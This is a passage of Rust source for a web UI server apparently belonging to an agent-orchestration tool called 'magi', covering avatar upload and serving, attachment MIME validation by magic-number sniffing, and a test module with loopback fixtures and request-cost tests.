8899    Some(text)
8900}
8901
8902fn magi_icon_url(home: &FsPath) -> String {
8903    format!(
8904        "/avatars/magi?v={}",
8905        persona_icon::fingerprint(read_magi_icon(home).as_deref())
8906    )
8907}
8908
8909async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8910    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8911}
8912
8913#[derive(Deserialize)]
8914struct MagiIconUpload {
8915    icon: String,
8916}
8917
8918fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8919    save_icon_file(&magi_icon_path(home), icon)
8920}
8921
8922fn validate_uploaded_icon(icon: &str) -> Result<()> {
8923    if !icon.starts_with("data:") {
8924        anyhow::bail!("upload a raster image");
8925    }
8926    let (mime, bytes) = persona_icon::load(icon)?;
8927    if sniffed_mime(&bytes) != Some(mime) {
8928        anyhow::bail!("image content does not match its type");
8929    }
8930    Ok(())
8931}
8932
8933fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
8934    validate_uploaded_icon(icon)?;
8935    atomic_icon_write(path, icon)
8936}
8937
8938fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
8939    let home = path.parent().expect("icon parent");
8940    std::fs::create_dir_all(home)?;
8941    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8942    let temp = home.join(format!(".magi-icon-{token}.tmp"));
8943    let result = (|| -> Result<()> {
8944        use std::io::Write;
8945        let mut file = std::fs::OpenOptions::new()
8946            .write(true)
8947            .create_new(true)
8948            .open(&temp)?;
8949        file.write_all(icon.as_bytes())?;
8950        file.sync_all()?;
8951        std::fs::rename(&temp, path)?;
8952        Ok(())
8953    })();
8954    let _ = std::fs::remove_file(temp);
8955    result?;
8956    Ok(())
8957}
8958
8959async fn magi_icon_put(
8960    State(ui): State<Arc<Ui>>,
8961    Json(upload): Json<MagiIconUpload>,
8962) -> ApiResult<Json<serde_json::Value>> {
8963    blocking(move || {
8964        if !upload.icon.starts_with("data:") {
8965            return Err(ApiError::bad_request("upload a raster image"));
8966        }
8967        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8968        if sniffed_mime(&bytes) != Some(mime) {
8969            return Err(ApiError::bad_request(
8970                "image content does not match its type",
8971            ));
8972        }
8973        save_magi_icon(&ui.home, &upload.icon)?;
8974        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8975    })
8976    .await
8977}
8978
8979async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8980    blocking(move || {
8981        match std::fs::remove_file(magi_icon_path(&ui.home)) {
8982            Ok(()) => (),
8983            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8984            Err(e) => return Err(anyhow::Error::from(e).into()),
8985        }
8986        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8987    })
8988    .await
8989}
8990
8991async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8992    let icon = (q.builtin.is_none())
8993        .then(|| read_magi_icon(&ui.home))
8994        .flatten();
8995    let mut response = match icon
8996        .as_deref()
8997        .and_then(|icon| persona_icon::load(icon).ok())
8998    {
8999        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9000            attachment_response(mime, bytes)
9001        }
9002        _ => svg_avatar(persona_icon::magi_svg()),
9003    };
9004    response
9005        .headers_mut()
9006        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9007    response
9008}
9009
9010/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
9011/// operator's raster `icon` when it resolves and its bytes agree with its
9012/// type, the built-in SVG otherwise. Display only; every failure is a warning
9013/// and the built-in avatar, never an error response.
9014async fn talk_avatar(
9015    State(ui): State<Arc<Ui>>,
9016    Path(id): Path<String>,
9017    Query(q): Query<AvatarQuery>,
9018) -> ApiResult<Response> {
9019    blocking(move || {
9020        let id = resolve_talk(&ui.talks, &id)?;
9021        let talk = ui.talks.get(&id)?;
9022        let wanted = q
9023            .persona
9024            .as_deref()
9025            .map(str::trim)
9026            .filter(|p| !p.is_empty())
9027            .unwrap_or(&talk.persona)
9028            .to_owned();
9029        let specs = match Config::discover(&talk.repo, None) {
9030            Ok((cfg, _)) => cfg.talk.personas,
9031            Err(e) => {
9032                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9033                Vec::new()
9034            }
9035        };
9036        let found = persona::find(&specs, &wanted);
9037        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9038        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9039        let icon = effective_persona_icon(
9040            &ui.home,
9041            &wanted,
9042            found.as_ref().and_then(|p| p.icon.as_deref()),
9043        );
9044        if found.is_none() && icon.is_none() {
9045            return Ok(builtin_avatar(persona::DEFAULT_ID));
9046        }
9047        let Some(icon) = icon
9048            .as_deref()
9049            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9050        else {
9051            return Ok(builtin_avatar(&wanted));
9052        };
9053        let Some(found) = found else {
9054            return Ok(raster_or_builtin(
9055                Some(icon),
9056                persona_icon::builtin_svg(&wanted),
9057            ));
9058        };
9059        match persona_icon::load(icon) {
9060            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9061                let mut res = attachment_response(mime, bytes);
9062                res.headers_mut().insert(
9063                    header::CACHE_CONTROL,
9064                    header::HeaderValue::from_static("no-cache"),
9065                );
9066                Ok(res)
9067            }
9068            Ok((mime, _)) => {
9069                tracing::warn!(
9070                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9071                    found.id
9072                );
9073                Ok(builtin_avatar(&found.id))
9074            }
9075            Err(e) => {
9076                tracing::warn!(
9077                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9078                    found.id
9079                );
9080                Ok(builtin_avatar(&found.id))
9081            }
9082        }
9083    })
9084    .await
9085}
9086
9087/// Validate an attachment upload's declared `Content-Type` and the bytes
9088/// themselves, returning the canonical mime on success.
9089///
9090/// Two checks, both required: the header has to name one of
9091/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9092/// simply never in the list, active content rather than a picture, the same
9093/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9094/// magic number has to agree. The second is what stops a mislabeled upload -
9095/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9096/// a declared type is a claim, not a fact, so it is never trusted alone.
9097fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9098    if data.len() > ATTACHMENT_MAX_BYTES {
9099        return Err(ApiError::bad_request(format!(
9100            "attachment is {} bytes, over the {} MiB limit",
9101            data.len(),
9102            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9103        ))
9104        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9105    }
9106    if data.is_empty() {
9107        return Err(ApiError::bad_request("attachment is empty"));
9108    }
9109    let declared = declared_mime(headers)?;
9110    match sniffed_mime(data) {
9111        Some(sniffed) if sniffed == declared => Ok(declared),
9112        Some(sniffed) => Err(ApiError::bad_request(format!(
9113            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9114        ))),
9115        None => Err(ApiError::bad_request(
9116            "the file's bytes do not match any accepted image format",
9117        )),
9118    }
9119}
9120
9121/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9122/// and nothing else - parameters like `; charset=` are stripped, but the
9123/// value itself is not otherwise interpreted.
9124fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9125    let raw = headers
9126        .get(header::CONTENT_TYPE)
9127        .and_then(|v| v.to_str().ok())
9128        .unwrap_or("")
9129        .split(';')
9130        .next()
9131        .unwrap_or("")
9132        .trim()
9133        .to_ascii_lowercase();
9134    ATTACHMENT_MIME_WHITELIST
9135        .iter()
9136        .find(|&&m| m == raw)
9137        .copied()
9138        .ok_or_else(|| {
9139            if raw == "image/svg+xml" {
9140                ApiError::bad_request(
9141                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9142                     not just a picture",
9143                )
9144            } else if raw.is_empty() {
9145                ApiError::bad_request("Content-Type is required for an attachment upload")
9146            } else {
9147                ApiError::bad_request(format!(
9148                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9149                     image/gif or image/webp"
9150                ))
9151            }
9152        })
9153}
9154
9155/// Identify an image by its magic number, independent of whatever
9156/// `Content-Type` claimed.
9157fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9158    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9159        Some("image/png")
9160    } else if data.starts_with(b"\xff\xd8\xff") {
9161        Some("image/jpeg")
9162    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9163        Some("image/gif")
9164    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9165        Some("image/webp")
9166    } else {
9167        None
9168    }
9169}
9170
9171/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
9172/// display - see [`talk::Attachment::name`]'s doc on why it never
9173/// contributes to a path. A missing or blank header (curl without it, an
9174/// older front end) falls back to a generic name rather than refusing the
9175/// upload over a field that is cosmetic.
9176fn filename_header(headers: &HeaderMap) -> String {
9177    headers
9178        .get(FILENAME_HEADER)
9179        .and_then(|v| v.to_str().ok())
9180        .map(str::trim)
9181        .filter(|s| !s.is_empty())
9182        .unwrap_or("attachment")
9183        .to_owned()
9184}
9185
9186/// Every attachment `GET` response: the mime re-validated against the same
9187/// closed whitelist the upload route enforces - never the string trusted
9188/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
9189/// cannot decide it knows better than the type we send. Unlike a panel asset
9190/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
9191/// document renders inline, not agent-authored HTML in a sandboxed frame.
9192fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9193    let content_type = ATTACHMENT_MIME_WHITELIST
9194        .iter()
9195        .find(|&&m| m == mime)
9196        .copied()
9197        .unwrap_or("application/octet-stream");
9198    (
9199        [
9200            (header::CONTENT_TYPE, content_type),
9201            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9202        ],
9203        body,
9204    )
9205        .into_response()
9206}
9207
9208/// The configuration for a repository, read off the disk for this request.
9209///
9210/// Through [`blocking`] because discovery reads and merges several TOML files,
9211/// and because the alternative - caching it in [`Ui`] at startup - would mean
9212/// the operator's phone kept interviewing with a roster they had already
9213/// changed, with no way to reload it but restarting the server they are not
9214/// sitting in front of.
9215async fn config_for(repo: &FsPath) -> ApiResult<Config> {
9216    let repo = repo.to_path_buf();
9217    blocking(move || {
9218        let (cfg, _) = Config::discover(&repo, None)?;
9219        Ok(cfg)
9220    })
9221    .await
9222}
9223
9224/// The one prefix rule, used for both runs and tasks: a leading match for a
9225/// full id, a trailing match for the short form an operator reads off a
9226/// report. Written here rather than borrowed from `queue::resolve_id` because
9227/// the UI needs the two failures as different status codes, and telling them
9228/// apart from an error message is not something to build a route on.
9229fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
9230    let mut hits = ids
9231        .into_iter()
9232        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
9233    match (hits.next(), hits.next()) {
9234        (Some(one), None) => Ok(one),
9235        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
9236        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
9237            "`{prefix}` matches more than one {what}, including {a} and {b}"
9238        ))),
9239    }
9240}
9241
9242#[cfg(test)]
9243mod tests {
9244
9245    #[test]
9246    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
9247        let dir = tempfile::tempdir().unwrap();
9248        let store = ask::Questions::at(dir.path().join("questions"));
9249        let mut q = Question::new(
9250            "task".to_owned(),
9251            "conduct".to_owned(),
9252            "conduct".to_owned(),
9253            "choose".to_owned(),
9254            String::new(),
9255            vec!["keep".to_owned()],
9256        );
9257        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
9258        q.say("why?").unwrap();
9259        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
9260        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9261        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
9262        store.put(&mut q).unwrap();
9263        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9264        assert_eq!(store.count_needs_owner(), 1);
9265        store.beat(&q.id, ask::WaiterKind::Deputy);
9266        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9267        assert_eq!(store.count_needs_owner(), 0);
9268        let mut stale = store.read_lease(&q.id).unwrap();
9269        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9270        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9271        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9272        assert!(view.deputy_exhausted);
9273        assert!(view.waiting_on_agent);
9274        assert_eq!(view.question.choices, ["keep"]);
9275        store.drop_lease(&q.id);
9276        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9277        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9278    }
9279
9280    #[test]
9281    fn holder_reads_the_lease_not_the_record() {
9282        let mut q = Question::new(
9283            "run".to_owned(),
9284            "implement".to_owned(),
9285            "impl-A".to_owned(),
9286            "which?".to_owned(),
9287            String::new(),
9288            Vec::new(),
9289        );
9290        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9291        q.cwd = Some("/tmp".to_owned());
9292        assert_eq!(holder_of(&q, None), Some("nobody"));
9293        let beat = |kind, ago: i64| ask::Lease {
9294            kind,
9295            pid: 1,
9296            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9297                .unwrap(),
9298        };
9299        let fresh = beat(ask::WaiterKind::Asker, 1);
9300        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9301        let daemon = beat(ask::WaiterKind::Daemon, 1);
9302        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9303        let stale = beat(ask::WaiterKind::Asker, 3600);
9304        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9305
9306        // A conductor question says "deputy" only while one is attached and
9307        // alive, and "nobody" - never silence - when nothing ever listened.
9308        let mut c = Question::new(
9309            "task".to_owned(),
9310            crate::conduct::NODE.to_owned(),
9311            "conduct".to_owned(),
9312            "which?".to_owned(),
9313            String::new(),
9314            Vec::new(),
9315        );
9316        assert_eq!(holder_of(&c, None), Some("nobody"));
9317        c.cwd = Some("/tmp".to_owned());
9318        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9319        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9320        let deputy = beat(ask::WaiterKind::Deputy, 1);
9321        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9322        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9323
9324        // A release-watch question: nobody until a deputy is attached.
9325        let mut r = Question::new(
9326            String::new(),
9327            crate::bump::NOTICE_NODE.to_owned(),
9328            "release-watch".to_owned(),
9329            "stuck?".to_owned(),
9330            String::new(),
9331            vec!["hold".to_owned()],
9332        );
9333        assert_eq!(holder_of(&r, None), Some("nobody"));
9334        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9335        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9336        // A choice-less bump notice is nobody's question at all.
9337        r.deputy = None;
9338        r.seat = "bump".to_owned();
9339        assert_eq!(holder_of(&r, None), None);
9340
9341        // A merge approval is the same: nobody until a deputy is attached
9342        // and alive, never a silent "no holder".
9343        let mut m = Question::new(
9344            "run".to_owned(),
9345            crate::land::APPROVAL_NODE.to_owned(),
9346            "land".to_owned(),
9347            "merge?".to_owned(),
9348            String::new(),
9349            Vec::new(),
9350        );
9351        assert_eq!(holder_of(&m, None), Some("nobody"));
9352        assert_eq!(
9353            holder_of(&m, Some(&fresh)),
9354            Some("asker"),
9355            "a live explicit wait is a listener even before a deputy is attached"
9356        );
9357        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9358        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9359        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9360        assert_eq!(holder_of(&m, None), Some("nobody"));
9361    }
9362
9363    fn stub_config() -> Config {
9364        // An explicit roster, so the result never depends on which agent CLIs
9365        // this machine has installed.
9366        Config {
9367            agents: vec![crate::config::AgentSpec {
9368                id: "stub".to_owned(),
9369                kind: AgentKind::Command,
9370                model: None,
9371                command: vec!["true".to_owned()],
9372                extra_args: Vec::new(),
9373                env: Default::default(),
9374                prompt_delivery: None,
9375            }],
9376            ..Config::default()
9377        }
9378    }
9379
9380    fn plain_question(seat: &str) -> Question {
9381        Question::new(
9382            String::new(),
9383            "n".to_owned(),
9384            seat.to_owned(),
9385            "s".to_owned(),
9386            String::new(),
9387            Vec::new(),
9388        )
9389    }
9390
9391    #[test]
9392    fn deputies_enabled_follows_the_config() {
9393        let on = stub_config();
9394        assert!(crate::deputy::can_start(Some(&on), ""));
9395        assert!(crate::deputy::can_start(Some(&on), "stub"));
9396        let mut off = on.clone();
9397        off.daemon.max_deputies = 0;
9398        assert!(!crate::deputy::can_start(Some(&off), ""));
9399        let mut empty = on;
9400        empty.agents.clear();
9401        assert!(!crate::deputy::can_start(Some(&empty), ""));
9402        assert!(!crate::deputy::can_start(None, ""));
9403    }
9404
9405    #[test]
9406    fn question_views_load_the_config_once() {
9407        let dir = TempDir::new().unwrap();
9408        let store = ask::Questions::at(dir.path().to_path_buf());
9409        let mut with_deputy = plain_question("b");
9410        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9411        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9412
9413        let calls = std::cell::Cell::new(0usize);
9414        let views = question_views(qs.clone(), &store, || {
9415            calls.set(calls.get() + 1);
9416            Some(stub_config())
9417        });
9418        assert_eq!(calls.get(), 1);
9419        assert_eq!(views.len(), 3);
9420        for (v, q) in views.iter().zip(&qs) {
9421            assert_eq!(
9422                v.deputies_enabled,
9423                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9424            );
9425        }
9426
9427        let views = question_views(qs, &store, || None);
9428        assert!(views.iter().all(|v| !v.deputies_enabled));
9429
9430        let calls = std::cell::Cell::new(0usize);
9431        let views = question_views(Vec::new(), &store, || {
9432            calls.set(calls.get() + 1);
9433            None
9434        });
9435        assert!(views.is_empty());
9436        assert_eq!(calls.get(), 0);
9437    }
9438
9439    use pretty_assertions::assert_eq;
9440    use serde_json::Value;
9441    use tempfile::TempDir;
9442    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9443
9444    use super::*;
9445    use crate::config::Config;
9446    use crate::queue::Source;
9447
9448    /// How many 10ms steps a settle loop takes before it calls a stall a
9449    /// stall - thirty seconds.
9450    ///
9451    /// These loops wait on real `sh` subprocesses, and the machine that runs
9452    /// the gate runs several suites at once, so a two-second budget was not
9453    /// waiting for the reply, it was racing the scheduler: two of these
9454    /// tests failed under that load with the turn simply not landed yet.
9455    /// This is a hang guard, not a latency assertion - every loop breaks the
9456    /// moment its condition holds, so a generous cap costs an idle machine
9457    /// nothing and still fails a genuine hang instead of hanging the suite.
9458    const SETTLE_STEPS: usize = 3_000;
9459
9460    /// A home with a queue and a runs directory, and a router serving it on
9461    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
9462    /// dependency, not ours - so the tests drive a real socket, which has the
9463    /// side benefit of asserting the status line and content types the phone
9464    /// actually receives.
9465    struct Fixture {
9466        home: TempDir,
9467        addr: SocketAddr,
9468    }
9469
9470    impl Fixture {
9471        async fn start() -> Self {
9472            Self::with_loop(launch_idle).await
9473        }
9474
9475        /// A fixture whose loop is `launch`.
9476        async fn with_loop(launch: Launch) -> Self {
9477            let home = TempDir::new().expect("temp home");
9478            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9479            Self { home, addr }
9480        }
9481
9482        /// A fixture whose `ui.repo` is a real directory rather than the
9483        /// usual placeholder - for the routes that read config off it
9484        /// (`GET /api/repos`) and would otherwise have nothing to discover.
9485        async fn with_repo(repo: PathBuf) -> Self {
9486            let home = TempDir::new().expect("temp home");
9487            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9488            Self { home, addr }
9489        }
9490
9491        /// As [`Fixture::with_repo`], with the machine-config file the
9492        /// settings screen reads and writes.
9493        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9494            let home = TempDir::new().expect("temp home");
9495            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9496            Self { home, addr }
9497        }
9498
9499        async fn serve(
9500            home: &FsPath,
9501            repo: PathBuf,
9502            launch: Launch,
9503            machine: Option<PathBuf>,
9504        ) -> SocketAddr {
9505            let queue = Queue::at(home.join("queue"));
9506            let runs = home.join("runs");
9507            std::fs::create_dir_all(&runs).expect("runs dir");
9508            let worktrees = home.join("wt").join("magi");
9509            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9510            let ui = Ui::new(
9511                queue,
9512                Questions::at(home.join("questions")),
9513                Talks::at(home.join("talks")),
9514                runs,
9515                home.to_path_buf(),
9516                repo,
9517            )
9518            .with_worktrees_root(worktrees)
9519            .with_machine_config(machine)
9520            .with_launch(launch);
9521            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9522                .await
9523                .expect("bind loopback");
9524            let addr = listener.local_addr().expect("local addr");
9525            tokio::spawn(async move {
9526                let router = ui
9527                    .router()
9528                    .layer(axum::middleware::from_fn(request_cost::observe));
9529                let _ = axum::serve(listener, router).await;
9530            });
9531            addr
9532        }
9533
9534        fn queue(&self) -> Queue {
9535            Queue::at(self.home.path().join("queue"))
9536        }
9537
9538        fn questions(&self) -> Questions {
9539            Questions::at(self.home.path().join("questions"))
9540        }
9541
9542        fn talks(&self) -> Talks {
9543            Talks::at(self.home.path().join("talks"))
9544        }
9545
9546        fn runs(&self) -> PathBuf {
9547            self.home.path().join("runs")
9548        }
9549
9550        async fn get(&self, path: &str) -> Res {
9551            request(self.addr, "GET", path, None).await
9552        }
9553
9554        /// The status and headers without the body, which is how the front end
9555        /// preflights a panel: a sandboxed frame is opaque to the parent
9556        /// document, so the only way to tell "no panel" from "a panel that
9557        /// rendered blank" is to ask before mounting.
9558        async fn head(&self, path: &str) -> Res {
9559            request(self.addr, "HEAD", path, None).await
9560        }
9561
9562        async fn post(&self, path: &str, body: Option<&str>) -> Res {
9563            request(self.addr, "POST", path, body).await
9564        }
9565
9566        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9567            request_with(self.addr, "GET", path, None, extra).await
9568        }
9569
9570        async fn delete(&self, path: &str) -> Res {
9571            request(self.addr, "DELETE", path, None).await
9572        }
9573
9574        async fn put(&self, path: &str, body: &str) -> Res {
9575            request(self.addr, "PUT", path, Some(body)).await
9576        }
9577
9578        /// `POST` a raw body with its own headers - see [`request_bytes`].
9579        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9580            request_bytes(self.addr, path, headers, body).await
9581        }
9582    }
9583
9584    /// Real tracking refs exercise the successful discovery path (including
9585    /// extraction), rather than counting cheap failures on a placeholder repo.
9586    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9587        let tmp = TempDir::new().unwrap();
9588        let mut repos = Vec::new();
9589        for name in ["one", "two"] {
9590            let repo = tmp.path().join(name);
9591            let origin = tmp.path().join(format!("{name}.git"));
9592            std::fs::create_dir_all(&repo).unwrap();
9593            crate::git::git(&repo, &["init", "-b", "main"])
9594                .await
9595                .unwrap();
9596            std::fs::write(
9597                repo.join("magi.toml"),
9598                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9599            )
9600            .unwrap();
9601            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9602            crate::git::git(
9603                &repo,
9604                &[
9605                    "-c",
9606                    "user.name=fixture",
9607                    "-c",
9608                    "user.email=fixture@example.invalid",
9609                    "commit",
9610                    "-m",
9611                    "fixture",
9612                ],
9613            )
9614            .await
9615            .unwrap();
9616            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9617                .await
9618                .unwrap();
9619            crate::git::git(
9620                &repo,
9621                &["remote", "add", "origin", origin.to_str().unwrap()],
9622            )
9623            .await
9624            .unwrap();
9625            crate::git::git(&repo, &["push", "origin", "main"])
9626                .await
9627                .unwrap();
9628            crate::git::git(
9629                &repo,
9630                &[
9631                    "symbolic-ref",
9632                    "refs/remotes/origin/HEAD",
9633                    "refs/remotes/origin/main",
9634                ],
9635            )
9636            .await
9637            .unwrap();
9638            let (cfg, _) = Config::discover(&repo, None).unwrap();
9639            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9640            repos.push(repo);
9641        }
9642        let repos: [PathBuf; 2] = repos.try_into().unwrap();
9643        (tmp, repos)
9644    }
9645
9646    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9647        let (tmp, repos) = performance_repositories().await;
9648        let machine = tmp.path().join("machine.toml");
9649        std::fs::write(&machine, "").unwrap();
9650        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9651        (tmp, repos, fx)
9652    }
9653
9654    fn seed_performance(
9655        fx: &Fixture,
9656        repos: &[PathBuf; 2],
9657        questions: usize,
9658        runs: usize,
9659        items: usize,
9660    ) {
9661        // Saving states directly never starts a run or changes MAGI_HOME.
9662        for i in fx.questions().list().len()..questions {
9663            let mut question = Question::new(
9664                "20261001-000000-0000".into(),
9665                "implement".into(),
9666                "impl-A".into(),
9667                format!("question {i}"),
9668                "context".into(),
9669                vec!["yes".into(), "no".into()],
9670            );
9671            question.id = format!("20261003-000000-{i:04x}");
9672            fx.questions().put(&mut question).unwrap();
9673        }
9674        for i in run_ids(&fx.runs()).len()..runs {
9675            write_run_repo(
9676                &fx.runs(),
9677                &format!("20261001-000000-{i:04x}"),
9678                RunStatus::Ready,
9679                repos[i % 2].to_str().unwrap(),
9680            );
9681        }
9682        for i in fx.talks().list().len()..items {
9683            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9684            let mut talk = fx.talks().get(&id).unwrap();
9685            talk.repo = repos[i % 2].clone();
9686            fx.talks().put(&mut talk).unwrap();
9687            let mut task = crate::queue::Task::new(
9688                format!("task {i}"),
9689                "instruction".into(),
9690                repos[i % 2].clone(),
9691                crate::queue::Source::Agent {
9692                    run: id,
9693                    node: crate::queue::CHAT_NODE.into(),
9694                },
9695            );
9696            task.id = format!("20261004-000000-{i:04x}");
9697            fx.queue().put(&mut task).unwrap();
9698            // Notices has a production retention cap; seed up to that cap.
9699            if i < crate::notices::CAP {
9700                Notices::at(fx.home.path().join("notifications"))
9701                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
9702                    .unwrap();
9703            }
9704        }
9705        assert_eq!(fx.questions().list().len(), questions);
9706        assert_eq!(run_ids(&fx.runs()).len(), runs);
9707        assert_eq!(fx.talks().list().len(), items);
9708        assert_eq!(fx.queue().list().len(), items);
9709        assert_eq!(
9710            Notices::at(fx.home.path().join("notifications"))
9711                .list()
9712                .len(),
9713            items.min(crate::notices::CAP)
9714        );
9715    }
9716
9717    fn request_counts(res: &Res) -> (usize, usize) {
9718        assert_eq!(res.status, 200, "{}", res.body);
9719        (
9720            res.header("x-test-discoveries").unwrap().parse().unwrap(),
9721            res.header("x-test-git").unwrap().parse().unwrap(),
9722        )
9723    }
9724
9725    #[tokio::test]
9726    async fn list_request_cost_is_independent_of_record_count() {
9727        let (_tmp, repos, fx) = performance_fixture().await;
9728        let mut previous = None;
9729        for n in [4, 60] {
9730            seed_performance(&fx, &repos, n, n, n);
9731            let mut costs = Vec::new();
9732            for (path, discoveries) in [
9733                ("/api/questions", 1),
9734                ("/api/talks", 2),
9735                ("/api/health", 1),
9736                ("/api/stats", 1),
9737            ] {
9738                // Equal cold extraction caches at both scales; this also
9739                // bounds first-request cost instead of only warmed requests.
9740                for repo in &repos {
9741                    let cache = repo.join(".git/magi/config");
9742                    if cache.exists() {
9743                        std::fs::remove_dir_all(cache).unwrap();
9744                    }
9745                }
9746                let cost = request_counts(&fx.get(path).await);
9747                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9748                assert_eq!(cost.0, discoveries, "{path}, N={n}");
9749                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9750                costs.push(cost);
9751            }
9752            if let Some(previous) = previous {
9753                assert_eq!(costs, previous);
9754            }
9755            previous = Some(costs);
9756        }
9757        // runs reads shared row inputs and probes process liveness; queue
9758        // builds one blocker inventory; notifications reads its own store.
9759        // None discovers configuration or spawns git per item.
9760    }
9761
9762    /// The same handler path without transport, so the deterministic cause
9763    /// can also be checked in environments that prohibit binding sockets.
9764    #[tokio::test]
9765    async fn list_handler_cost_without_transport() {
9766        let (_tmp, repos) = performance_repositories().await;
9767        let fx = Fixture {
9768            home: TempDir::new().unwrap(),
9769            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9770        };
9771        let ui = Arc::new(
9772            Ui::new(
9773                fx.queue(),
9774                fx.questions(),
9775                fx.talks(),
9776                fx.runs(),
9777                fx.home.path().to_path_buf(),
9778                repos[0].clone(),
9779            )
9780            .with_worktrees_root(fx.home.path().join("wt")),
9781        );
9782        let mut previous = None;
